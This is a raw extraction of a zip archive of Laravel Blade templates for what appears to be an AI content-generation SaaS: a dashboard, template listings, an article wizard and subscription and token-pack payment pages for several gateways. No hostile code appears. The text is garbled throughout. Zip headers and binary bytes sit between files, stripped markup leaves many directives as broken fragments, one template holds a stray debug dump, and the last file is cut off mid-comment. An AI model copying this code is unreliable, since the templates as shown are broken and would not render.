    logo_collapsed_2x_path)) srcset="/{{ $setting->logo_collapsed_2x_path }} 2x" @endif alt="{{ $setting->site_name }}" >

    @lang('Your content will appear here.')

    @lang('Simply select a pre-built template or create your own') @lang('custom content here.')

    1

    /
    @foreach ($filters as $filter) @php $cat_items = $list->filter(function ($list_item) use ($filter) { return str()->contains($list_item->filters, $filter->name) && $list_item->active == 1 && !Str::startsWith($list_item->slug, 'ai_'); }); @endphp @if (!$cat_items->isEmpty())
    !$loop->first, ]) :class="{ 'hidden': activeFilter !== '{{ $filter->name }}' }" > @foreach ($cat_items as $item) @if ($item->active != 1 || Str::startsWith($item->slug, 'ai_')) @continue @endif @php $upgrade = false; if ($app_is_demo) { if ($item->premium == 1 && $plan_type === 'regular') { $upgrade = true; } } else { if (!$auth->isAdmin() && $item->premium == 1 && $plan_type === 'regular') { $upgrade = true; } } @endphp
    @if ($item->image !== 'none') {!! html_entity_decode($item->image) !!} @endif $item->active == 1, 'bg-red-500' => $item->active != 1, ])>

    {{ __($item->title) }}

    @if ($item->active == 1)
    @if ($upgrade)
    {{ __('Upgrade') }}
    {{ __('Upgrade') }} @elseif($item->type == 'text' or $item->type == 'code') @if ($item->slug == 'ai_article_wizard_generator') {{ __('Create Workbook') }} @else {{ __('Create Workbook') }} @endif @elseif($item->type == 'voiceover' || $item->type == 'isolator') {{ __('Create Workbook') }} @elseif($item->type == 'image') {{ __('Create') }} @elseif($item->type == 'audio') {{ __('Create') }} @else @endif
    {{-- Getting generator options via ajax call --}} @endif
    @endforeach
    @endif @endforeach
    PKJW]ÅÔÅõtt>views/default/panel/user/generator/components/editor.blade.phpnu„[µü¤
    @include('panel.user.generator.components.editor-actions-top-bar')
    @php $lang_with_flags = []; foreach (LaravelLocalization::getSupportedLocales() as $lang => $properties) { $lang_with_flags[] = [ 'lang' => $lang, 'name' => $properties['native'], 'flag' => country2flag(substr($properties['regional'], strrpos($properties['regional'], '_') + 1)), ]; } @endphp @push('script') @endpush PKJW]feŒ¿Œ¿,views/default/panel/user/dashboard.blade.phpnu„[µü¤@php $userId = auth()->id(); $plan = Auth::user()->activePlan(); $plan_type = 'regular'; // $team = Auth::user()->getAttribute('team'); $teamManager = Auth::user()->getAttribute('teamManager'); if ($plan != null) { $plan_type = strtolower($plan->plan_type); } $titlebar_links = [ [ 'label' => 'All', 'link' => '#all', ], [ 'label' => 'AI Assistant', 'link' => '#all', ], [ 'label' => 'Your Plan', 'link' => '#plan', ], [ 'label' => 'Team Members', 'link' => '#team', ], [ 'label' => 'Recent', 'link' => '#recent', ], [ 'label' => 'Documents', 'link' => '#documents', ], [ 'label' => 'Templates', 'link' => '#templates', ], [ 'label' => 'Overview', 'link' => '#all', ], ]; $premium_features = \App\Models\OpenAIGenerator::query()->where('active', 1)->where('premium', 1)->limit(5)->get()->pluck('title')->toArray(); $user_is_premium = false; $plan = auth()->user()?->relationPlan; if ($plan) { $planType = strtolower($plan->plan_type ?? 'all'); if ($plan->plan_type === 'all' || $plan->plan_type === 'premium') { $user_is_premium = true; } } $style_string = ''; if (setting('announcement_background_color')) { $style_string .= '.lqd-card.lqd-announcement-card { background-color: ' . setting('announcement_background_color') . ';}'; } if (setting('announcement_background_image')) { $style_string .= '.lqd-card.lqd-announcement-card { background-image: url(' . setting('announcement_background_image') . '); }'; } if (setting('announcement_background_color_dark')) { $style_string .= '.theme-dark .lqd-card.lqd-announcement-card { background-color: ' . setting('announcement_background_color_dark') . ';}'; } if (setting('announcement_background_image_dark')) { $style_string .= '.theme-dark .lqd-card.lqd-announcement-card { background-image: url(' . setting('announcement_background_image_dark') . '); }'; } $favoriteOpenAis = cache("user:{$userId}:favorite_openai"); @endphp @if (filled($style_string)) @push('css') @endpush @endif @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Dashboard')) @section('titlebar_title') {{ __('Welcome') }}, {{ auth()->user()?->name }}. @endsection @section('titlebar_after')
      @foreach ($titlebar_links as $link)
    • $loop->first, ]) variant="ghost" href="{{ $link['link'] }}" > @lang($link['label'])
    • @endforeach
    @endsection @section('content')
    @if (setting('announcement_active', 0) && !auth()->user()?->dash_notify_seen)

    @lang(setting('announcement_title', 'Welcome'))

    @lang(setting('announcement_description', 'We are excited to have you here. Explore the marketplace to find the best AI models for your needs.'))

    {{ setting('announcement_button_text', 'Try it Now') }} @lang('Dismiss')
    @if (setting('announcement_image_dark')) @endif @lang(setting('announcement_title', 'Welcome to MagicAI!'))
    @endif

    {{-- blade-formatter-disable --}} {{-- blade-formatter-enable --}} @lang('Hey, How can I help you?')

    @lang('Create a Blank Document')
    @if ($ongoingPayments != null)
    @includeIf('panel.user.finance.ongoingPayments')
    @endif @includeIf('panel.user.finance.subscriptionStatus') @if (!$user_is_premium || $app_is_demo)

    @lang('Premium Advantages')

    @lang('Upgrade your plan to unlock new AI capabilities.')

      @foreach ([setting('premium_advantages_1_label', 'Unlimited Credits'), setting('premium_advantages_2_label', 'Access to All Templates'), setting('premium_advantages_3_label', 'External Chatbots'), setting('premium_advantages_4_label', 'o1-mini and DeepSeek R1'), setting('premium_advantages_5_label', 'Premium Support')] as $feature)
    • {{-- blade-formatter-disable --}} {{-- blade-formatter-enable --}} {{ __($feature) }}
    • @endforeach
    @lang('Upgrade Your Plan')
    @endif {{-- begin: account summary --}} @includeIf('panel.user.dashboard.account-summary') {{-- end: account summary --}} {{-- begin: invite team --}} @if (showTeamFunctionality()) @if ($app_is_demo || ($team && $team?->allow_seats > 0))
    Team

    @lang('Add your team members’ email address
    to start collaborating.') 📧

    @csrf @if ($app_is_demo) @lang('Invite Friends') @else @lang('Invite Friends') @endif
    @else

    {{ __('How it Works') }}

    1. 1 {!! __('You send your invitation link to your friends.') !!}
    2. 2 {!! __('They subscribe to a paid plan by using your refferral link.') !!}
    3. 3 @if ($is_onetime_commission) {!! __('From their first purchase, you will begin earning one-time commissions.') !!} @else {!! __('From their first purchase, you will begin earning recurring commissions.') !!} @endif
    {{ __('Send') }}
    @endif
    @endif {{-- end: invite team --}} {{-- begin: affiliates --}} @includeIf('panel.user.dashboard.affiliates') {{-- end: affiliates --}} {{-- begin: favorite chatbots --}} @includeIf('panel.user.dashboard.favorite-chatbots') {{-- end: favorite chatbots --}} {{-- begin: add new --}} !View::exists('panel.user.dashboard.favorite-chatbots'), ]) size="md" >

    {{ __('Add New') }}

    @if (\App\Helpers\Classes\MarketplaceHelper::isRegistered('chatbot') || $app_is_demo)

    @lang('External Chatbot')

    @endif @if (\App\Helpers\Classes\MarketplaceHelper::isRegistered('social-media') || $app_is_demo)

    @lang('Social Media Post')

    @endif @if (\App\Helpers\Classes\MarketplaceHelper::isRegistered('openai-realtime-chat') || $app_is_demo)

    @lang('Voice Chat')

    @endif

    @lang('Blog Post')

    {{-- end: add new --}} {{-- begin: social media posts --}} @includeIf('social-media::theme.social-media-post-default-theme') {{-- end: social media posts --}} {{-- begin: recently launched --}}

    {{ __('Recently Launched') }}

    {{ __('View All') }}
    @php $folders = auth()->user()->folders()->get(); @endphp @foreach ($recently_launched as $entry) @if ($entry->generator != null) @endif @endforeach
    {{-- end: recently launched --}} {{-- begin: favorite templates --}}

    {{ __('Favorite Templates') }}

    {{ __('View All') }}
    @foreach ($favoriteOpenAis ?? [] as $entry) @php $upgrade = false; if ($entry->premium == 1 && $plan_type === 'regular') { $upgrade = true; } if ($upgrade) { $href = LaravelLocalization::localizeUrl(route('dashboard.user.payment.subscription')); } elseif (isset($entry->slug) && in_array($entry->slug, ['ai_vision', 'ai_ai_chat_image', 'ai_code_generator', 'ai_youtube', 'ai_pdf'])) { $href = LaravelLocalization::localizeUrl(route('dashboard.user.openai.generator.workbook', $entry->slug)); } else { $href = LaravelLocalization::localizeUrl(route('dashboard.user.openai.generator', $entry->slug)); } @endphp @if ($upgrade || $entry->active == 1) @else

    @endif @if ($entry->image !== 'none') {!! html_entity_decode($entry->image) !!} @endif {{ __($entry->title) }}

    {{ str()->words(__($entry->description)) }}
    @if ($upgrade) {{ __('Upgrade') }} @endif @if ($upgrade || $entry->active == 1)
    @else

    @endif @if ($loop->iteration === 5) @break @endif @endforeach
    {{-- end: favorite templates --}} @includeFirst(['announcement::partials.dashboard', 'vendor.empty']) {{-- begin: submit ticket --}}

    @lang('Have a question?') @lang('We’re here to help you.')

    {{ __('Submit a Ticket') }}
    {{-- end: submit ticket --}}
    @endsection @push('script') @if ($app_is_not_demo) @includeFirst(['onboarding::include.introduction', 'panel.admin.onboarding.include.introduction', 'vendor.empty']) @includeFirst(['onboarding-pro::include.introduction', 'panel.admin.onboarding-pro.include.introduction', 'vendor.empty']) @endif @if (Route::has('dashboard.user.dash_notify_seen')) @endif @endpush PKJW]ûÍŠ;ÅŠÅŠLviews/default/panel/user/article_wizard/components/wizard_settings.blade.phpnu„[µü¤@php $steps = ['Topic', 'Title', 'Outline', 'Image']; $creativity_levels = [ '0.25' => 'Economic', '0.5' => 'Average', '0.75' => 'Good', '1' => 'Premium', ]; @endphp
    @foreach ($steps as $step) @endforeach
    @includeIf('panel.user.article_wizard.components.serper_seo_aw_keyword')
    {{ __('Advanced Options') }}
    {{-- search questions --}}
    Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline', ]) variant="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.variant', 'solid') }}" size="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.size', 'md') }}" roundness="{{ Theme::getSetting('defaultVariations.card.roundness', 'default') === 'default' ? 'none' : Theme::getSetting('defaultVariations.card.roundness', 'default') }}" >

    1 {{ __('Select Keywords') }} 2 {{ __('Choose a Title') }} 3 {{ __('Outline') }} 4 {{ __('Image (optional)') }}

    {{ __('Add') }}
    {{ __('Cancel') }} {{ __('Add') }}
    PKJW]ÖÔgqŸ Ÿ 8views/default/panel/user/article_wizard/wizard.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('AI Article Wizard')) @section('titlebar_actions', '') @section('titlebar_subtitle', __('Just choose your topic, and watch AI whip up SEO-optimized blog content in a matter of seconds!')) @section('titlebar_actions_before')
    {{ __('Start Over') }}
    @endsection @section('content')
    @include('panel.user.article_wizard.components.wizard_settings')
    @endsection @push('script') @endpush PKJW]€ž•c<<:views/default/panel/user/finance/ongoingPayments.blade.phpnu„[µü¤hello ongoingPayments

    {{ dd($ongoingPayments) }} PKJW]"Úéíí4views/default/panel/user/finance/succesful.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')

    {{ __('Payment Succesful') }}

    {{ __('Thanks for your purchase! Now, you can explore our AI tools and start generating content in seconds.') }}

    {{ __('Generate New Content') }}
    @endsection PKJW]à1¯ß¯¯<views/default/panel/user/finance/subscriptionPlans.blade.phpnu„[µü¤@php $team = Auth::user()->getAttribute('team'); $teamManager = Auth::user()->getAttribute('teamManager'); $titlebar_links = []; $filters = []; if ($plansSubscriptionMonthly->count() > 0) { $titlebar_links[] = [ 'label' => 'Monthly', 'link' => '#monthly', ]; $filters[] = 'Monthly'; } if ($plansSubscriptionAnnual->count() > 0) { $titlebar_links[] = [ 'label' => 'Yearly', 'link' => '#yearly', ]; $filters[] = 'Yearly'; } if ($prepaidplans->count() > 0) { $titlebar_links[] = [ 'label' => 'Pre-Paid', 'link' => '#pre-paid', ]; $filters[] = 'Pre-Paid'; } if ($plansSubscriptionLifetime->count() > 0) { $titlebar_links[] = [ 'label' => 'Lifetime', 'link' => '#lifetime', ]; $filters[] = 'Lifetime'; } @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Plans and Pricing')) @section('titlebar_actions', '') @inject('paymentControls', 'App\Http\Controllers\Finance\PaymentProcessController') @inject('gatewayControls', 'App\Http\Controllers\Finance\GatewayController') @section('content')

    @lang('Here is your plan summary:')

    @if ($getCurrentActiveSubscription = \App\Helpers\Classes\Helper::getCurrentActiveSubscription()) {{ __('Cancel My Plan') }} @endif {{ __('Upgrade Your plan') }}

    @lang('Active Plan') @if (Auth::user()->activePlan() != null) {{ getSubscriptionName() }} @else @lang('None') @endif

    {{-- blade-formatter-disable --}} {{-- blade-formatter-enable --}}

    @lang('Renewal Date') @if (Auth::user()->activePlan() != null) {{ getSubscriptionDaysLeft() }} @lang('Days') @else @lang('None') @endif

    {{-- blade-formatter-disable --}} {{-- blade-formatter-enable --}}

    @lang('Team Plan') @if ($team && $team?->allow_seats > 0) @lang('Active') @else @lang('Not Active') @endif

    {{-- blade-formatter-disable --}} {{-- blade-formatter-enable --}}

    {{ __('Select a Plan') }}:

    @lang('Please select a subscription plan or a token pack to upgrade your current plan.')

      @foreach ($filters as $filter)
    • @endforeach
    @if ($plansSubscriptionMonthly->count() > 0)
    @foreach ($plansSubscriptionMonthly as $plan)
    $plan->is_featured, ])>
    {!! displayPlanPrice($plan, $currency) !!}
    {{ __(formatCamelCase($plan->frequency)) }} @if ($plan->is_featured == 1)
    {{ __('Popular plan') }}
    @endif

    {{ __($plan->name) }}

    @if ($activesubid == $plan->id)
    {{ __('Already Subscribed') }} {{ __('Cancel Subscription') }}
    @elseif($activesubid != null)
    {{ __('You have an active subscription.') }}
    @else
    @if ($is_active_gateway == 1) @php($planid = $plan->id) @if ($plan->price == 0) {{ __('Choose plan') }} @elseif($lastPrivateDate) {{ __('Expired') }} @elseif($maxSubscribe) {{ __('Limit reached') }} @else @if (count($activeGateways) == 1 || setting('single_page_checkout', 0)) @php($gateway = $activeGateways->first()) @php($data = $gatewayControls->gatewayData($gateway->code)) {{ __('Choose plan') }} @else {{ __('Choose plan') }}
    @foreach ($activeGateways as $gateway) @if ($gateway->code == 'revenuecat') @continue @endif @php($planid = $plan->id) @php($data = $gatewayControls->gatewayData($gateway->code))
    @if ($data['whiteLogo'] == 1) {{ $data['title'] }} @else {{ $data['title'] }} @endif {{ $data['title'] }}
    @endforeach
    @endif @endif @else

    {{ __('Please enable a payment gateway') }}

    @endif
    @endif
    @endforeach
    @endif @if ($prepaidplans->count() > 0) @endif @if ($plansSubscriptionLifetime->count() > 0)
    @foreach ($plansSubscriptionLifetime as $plan)
    $plan->is_featured, ])>
    {!! displayPlanPrice($plan, $currency) !!}
    {{ __(formatCamelCase($plan->frequency)) }} @if ($plan->is_featured == 1)
    {{ __('Popular plan') }}
    @endif

    {{ __($plan->name) }}

    @if ($activesubid == $plan->id)
    {{ __('Already Subscribed') }} {{ __('Cancel Subscription') }}
    @elseif($activesubid != null)
    {{ __('You have an active subscription.') }}
    @else
    @if ($is_active_gateway == 1) @php($planid = $plan->id) @if ($plan->price == 0) {{ __('Choose plan') }} @elseif($lastPrivateDate) {{ __('Expired') }} @elseif($maxSubscribe) {{ __('Limit reached') }} @else @if (count($activeGateways) == 1 || setting('single_page_checkout', 0)) @php($gateway = $activeGateways->first()) @php($data = $gatewayControls->gatewayData($gateway->code)) {{ __('Choose plan') }} @else {{ __('Choose plan') }}
    @foreach ($activeGateways as $gateway) @if ($gateway->code == 'revenuecat') @continue @endif @php($data = $gatewayControls->gatewayData($gateway->code))
    @if ($data['whiteLogo'] == 1) {{ $data['title'] }} @else {{ $data['title'] }} @endif {{ $data['title'] }}
    @endforeach
    @endif @endif @else

    {{ __('Please enable a payment gateway') }}

    @endif
    @endif
    @endforeach
    @endif @if ($plansSubscriptionAnnual->count() > 0)
    @foreach ($plansSubscriptionAnnual as $plan)
    $plan->is_featured, ])>
    {!! displayPlanPrice($plan, $currency) !!}
    {{ __(formatCamelCase($plan->frequency)) }} @if ($plan->is_featured == 1)
    {{ __('Popular plan') }}
    @endif

    {{ __($plan->name) }}

    @if ($activesubid == $plan->id)
    {{ __('Already Subscribed') }} {{ __('Cancel Subscription') }}
    @elseif($activesubid != null)
    {{ __('You have an active subscription.') }}
    @else
    @if ($is_active_gateway == 1) @php($planid = $plan->id) @if ($plan->price == 0) {{ __('Choose plan') }} @elseif($lastPrivateDate) {{ __('Expired') }} @elseif($maxSubscribe) {{ __('Limit reached') }} @else @if (count($activeGateways) == 1 || setting('single_page_checkout', 0)) @php($gateway = $activeGateways->first()) @php($data = $gatewayControls->gatewayData($gateway->code)) {{ __('Choose plan') }} @else {{ __('Choose plan') }}
    @foreach ($activeGateways as $gateway) @if ($gateway->code == 'revenuecat') @continue @endif @php($data = $gatewayControls->gatewayData($gateway->code))
    @if ($data['whiteLogo'] == 1) {{ $data['title'] }} @else {{ $data['title'] }} @endif {{ $data['title'] }}
    @endforeach
    @endif @endif @else

    {{ __('Please enable a payment gateway') }}

    @endif
    @endif
    @endforeach
    @endif
    @endsection @push('script') @endpush PKJW]wqj@%%=views/default/panel/user/finance/subscriptionStatus.blade.phpnu„[µü¤@php use App\Domains\Entity\EntityStats; $wordModels = EntityStats::word(); $imageModels = EntityStats::image(); $team = auth()->user()->getAttribute('team'); $teamManager = auth()->user()->getAttribute('teamManager'); @endphp @if ($team && $team?->allow_seats > 0)

    {{ __('Active Workspace:') }}

    {{ $teamManager?->name . ' ' . $teamManager?->surname }} @lang('Team Manager')

    @lang("You have the Team plan which has a remaining balance of :word words and :image images. You can contact your team manager if you need more credits.", ['word' => $wordModels->totalCredits(), 'image' => $imageModels->totalCredits()])

    @formatNumberShort($wordModels->checkIfThereUnlimited() ? __('Unlimited') : $wordModels->totalCredits()) @if (!$wordModels->checkIfThereUnlimited()) @endif {{ __('Words') }}

    @else

    @lang('Your Plan')

    @if (auth()->user()->activePlan() !== null) {{ __('You have currently') }} {{ getSubscriptionName() }} {{ __('plan.') }} {{ __('Will refill automatically in') }} {{ getSubscriptionDaysLeft() }} {{ __('Days.') }} {{ checkIfTrial() === true ? __('You are in Trial time.') : '' }} @else {{ __('You have no subscription at the moment. Please select a subscription plan or a token pack.') }} @endif @if ($setting->feature_ai_image) {{ __('Total') }} @formatNumber($wordModels->checkIfThereUnlimited() ? __('Unlimited') : $wordModels->totalCredits()) {{ __('word and') }} @formatNumber($imageModels->checkIfThereUnlimited() ? __('Unlimited') : $imageModels->totalCredits()) {{ __('image tokens left.') }} @else {{ __('Total') }} @formatNumber($wordModels->checkIfThereUnlimited() ? __('Unlimited') : $wordModels->totalCredits()) {{ __('tokens left.') }} @endif

    @formatNumberShort($wordModels->checkIfThereUnlimited() ? __('Unlimited') : $wordModels->totalCredits()) @if (!$wordModels->checkIfThereUnlimited()) @endif {{ __('Words') }}

    {{ __('Select a Plan') }} @if (getSubscriptionStatus()) {{ __('Cancel My Plan') }} @endif
    @endif @push('script') @endpush PKJW]èRS7views/default/panel/user/finance/coupon/index.blade.phpnu„[µü¤@includeWhen(setting('single_page_checkout', 0), 'panel.user.finance.partials.singlePageCheckout')
    {{ __('Have a coupon?') }}
    PKJW]á !$››;views/default/panel/user/finance/prepaid/paystack.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    @include('panel.user.finance.coupon.index')
    @csrf

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endif
    @endsection @push('script') @if ($gateway->mode == 'live') @else @endif @endpush PKJW]Ç”¡Da`a`9views/default/panel/user/finance/prepaid/stripe.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf {{-- --}}
    @if ($app_is_demo)
    {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, $taxValue, $newDiscountedPrice, tax_included: $plan->price_tax_included) !!} {{ __('with') }}
    @else {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, $taxValue, $newDiscountedPrice, tax_included: $plan->price_tax_included) !!} {{ __('with') }} @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- addressModal --}} @endsection @push('script') @endpush PKJW]øòw” ” <views/default/panel/user/finance/prepaid/2checkout.blade.phpnu„[µü¤@extends('panel.layout.app') @section('content')
    @csrf
    @if ($plan->trial_days != 0 && $plan->frequency != 'lifetime_monthly' && $plan->frequency != 'lifetime_yearly' && $plan->price > 0) {{ __('Start free trial') }} {{ __('with') }} 2checkout @else {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price) !!} {{ __('with') }} 2checkout @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection PKJW]{Ä”*á á 9views/default/panel/user/finance/prepaid/paddle.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __(' Token Packs ')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @csrf
    {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, tax_included: $plan->price_tax_included) !!} {{ __('with') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PKJW]Ò$Y¼``Dviews/default/panel/user/finance/prepaid/cryptomus-country.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @csrf
    Selected Country

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @endsectionPKJW]g½exq q ?views/default/panel/user/finance/prepaid/banktransfer.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{ __('Order ID') }}: {{ $order_id }}
    {!! $gateway->bank_account_other ?? 'To facilitate the processing of your transaction, kindly remit your payment directly to our designated bank account. Please ensure to include your Order ID Number as the payment reference to expedite the allocation of funds to your account. Note that services will not be credited until the payment has successfully been received in our bank account. We appreciate your cooperation and thank you for choosing our services.' !!}
    {!! $gateway->bank_account_details ?? "Bank Name:\nAccount Name:\nIBAN:\nBIC/Swift:\nRouting Number:\n" !!}
    {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, $taxValue, $newDiscountedPrice, tax_included: $plan->price_tax_included) !!} {{ __('with') }} {{ __('Bank transfer') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PKJW]{q‚ÌÌ>views/default/panel/user/finance/prepaid/freeservice.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Free Token Pack')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{ __('Order ID') }}: {{ $order_id }}
    @if ($existingPrepaidOrder) {{ __('This pack alredy purchased') }} @else {{ __('Buy for free now') }} @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @php $newDiscountedPrice = $plan->price; $taxRate = 0; $taxValue = 0; @endphp @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PKJW]¯êíòò9views/default/panel/user/finance/prepaid/paypal.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')
    @include('panel.user.finance.coupon.index')

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @php $clientId = $gateway->mode == 'live' ? $gateway->live_client_id : $gateway->sandbox_client_id; @endphp @endpush PKJW]ÜnÚ´¥¥@views/default/panel/user/finance/prepaid/iyzico/result.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')

    {{ __('Payment Succesful') }}

    {{ __('Thanks for your purchase! Now, you can explore our AI tools and start generating content in seconds.') }}

    @if ($checkoutresult->getStatus() == 'success') @if ($checkoutresult->getPaymentStatus() == 'SUCCESS' || $checkoutresult->getPaymentStatus() == 'success')

    {{ __('Payment Success') }}

    {{ __('Payment ID') }}: {{ $checkoutresult->getPaymentId() }}

    {{ __('Please save payment ID') }}
    @else

    {{ __('Payment Failed') }}

    {{ __('Error Code') }}: {{ $checkoutresult->getErrorCode() }}

    {{ $checkoutresult->getErrorMessage() }}

    @endif @else

    {{ __('Error Code') }}: {{ $checkoutresult->getErrorCode() }}

    {{ $checkoutresult->getErrorMessage() }}

    @endif

    {{ __('Generate New Content') }}

    @endsection PKJW]}@"uJ!J!=views/default/panel/user/finance/prepaid/iyzico/pre.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')
    @include('panel.user.finance.coupon.index')

    {{ __('Please enter your billing details') }}

    @csrf


    {{ __('Note that, we do not collect or store any personal data. All information above are sent to iyzico directly.') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PKJW]ä £ZZ=views/default/panel/user/finance/prepaid/iyzico/pay.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')
    @if ($checkoutform->getStatus() == 'success') {!! $checkoutform->getCheckoutFormContent() !!}
    @else

    {{ __('Error Code') }}: {{ $checkoutform->getErrorCode() }}

    {{ $checkoutform->getErrorMessage() }}

    {{ __('If error persist, please contact with us.') }}

    @endif

    {{ __('Note that, we do not collect or store any personal data. All information above are sent to iyzico directly.') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection PKJW]‹©!;views/default/panel/user/finance/prepaid/razorpay.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Payment for token packs ')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    {{-- @include('panel.user.finance.coupon.index')--}}
    @csrf
    {{ __('Pay now') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- --}} @endsection @push('script') @endpush PKJW]ÿ¤LÅÅ;views/default/panel/user/finance/prepaid/coingate.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf
    {{--
    --}} {{-- {{__('Order ID')}}: --}} {{-- {{$order_id}} --}} {{--
    --}}
    {{ __('Payment') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- --}} @endsection @push('script') @endpush PKJW]ÚMyÏ Ï :views/default/panel/user/finance/prepaid/yokassa.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection @push('script') @endpush PKJW]Åq©@views/default/panel/user/finance/subscription/paystack.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    @include('panel.user.finance.coupon.index')
    @csrf

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endif
    @endsection @push('script') @endpush PKJW]`ÃÒ³^³^>views/default/panel/user/finance/subscription/stripe.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @include('panel.user.finance.coupon.index')
    @csrf {{-- --}}
    @if ($plan->trial_days != 0 && $plan->frequency != 'lifetime_monthly' && $plan->frequency != 'lifetime_yearly' && $plan->price > 0) {{ __('Start free trial') }} {{ __('with') }} @else {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, $taxValue, $newDiscountedPrice, tax_included: $plan->price_tax_included) !!} {{ __('with') }} @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{-- addressModal --}} @endsection @push('script') @endpush PKJW]jGí ™ ™ Aviews/default/panel/user/finance/subscription/2checkout.blade.phpnu„[µü¤@extends('panel.layout.app') @section('content')
    @csrf
    @if ($plan->trial_days != 0 && $plan->frequency != 'lifetime_monthly' && $plan->frequency != 'lifetime_yearly' && $plan->price > 0) {{ __('Start free trial') }} {{ __('with') }} 2checkout @else {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price) !!} {{ __('with') }} 2checkout @endif

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    @endsection PKJW]cðØÃ��>views/default/panel/user/finance/subscription/paddle.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('additional_css') @endsection @section('content')
    @csrf
    {{ __('Pay') }} {!! displayCurr(currency()->symbol, $plan->price, tax_included: $plan->price_tax_included) !!} {{ __('with') }}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @include('panel.user.finance.partials.plan_card')
    {{--
    --}} {{-- --}} {{-- @if ($plan->is_featured == 1)--}} {{--
    --}} {{-- --}} {{-- --}} {{-- --}} {{-- --}} {{--
    --}} {{-- @endif--}} {{--
    --}} {{--
    {{ __($plan->name) }}
    --}} {{--
    --}} {{--
    --}} {{-- {!! displayCurrPlan(currency()->symbol, $plan->price) !!}--}} {{-- / {{__(formatCamelCase($plan->frequency))}}--}} {{--
    --}} {{--
    --}} {{-- --}} {{--
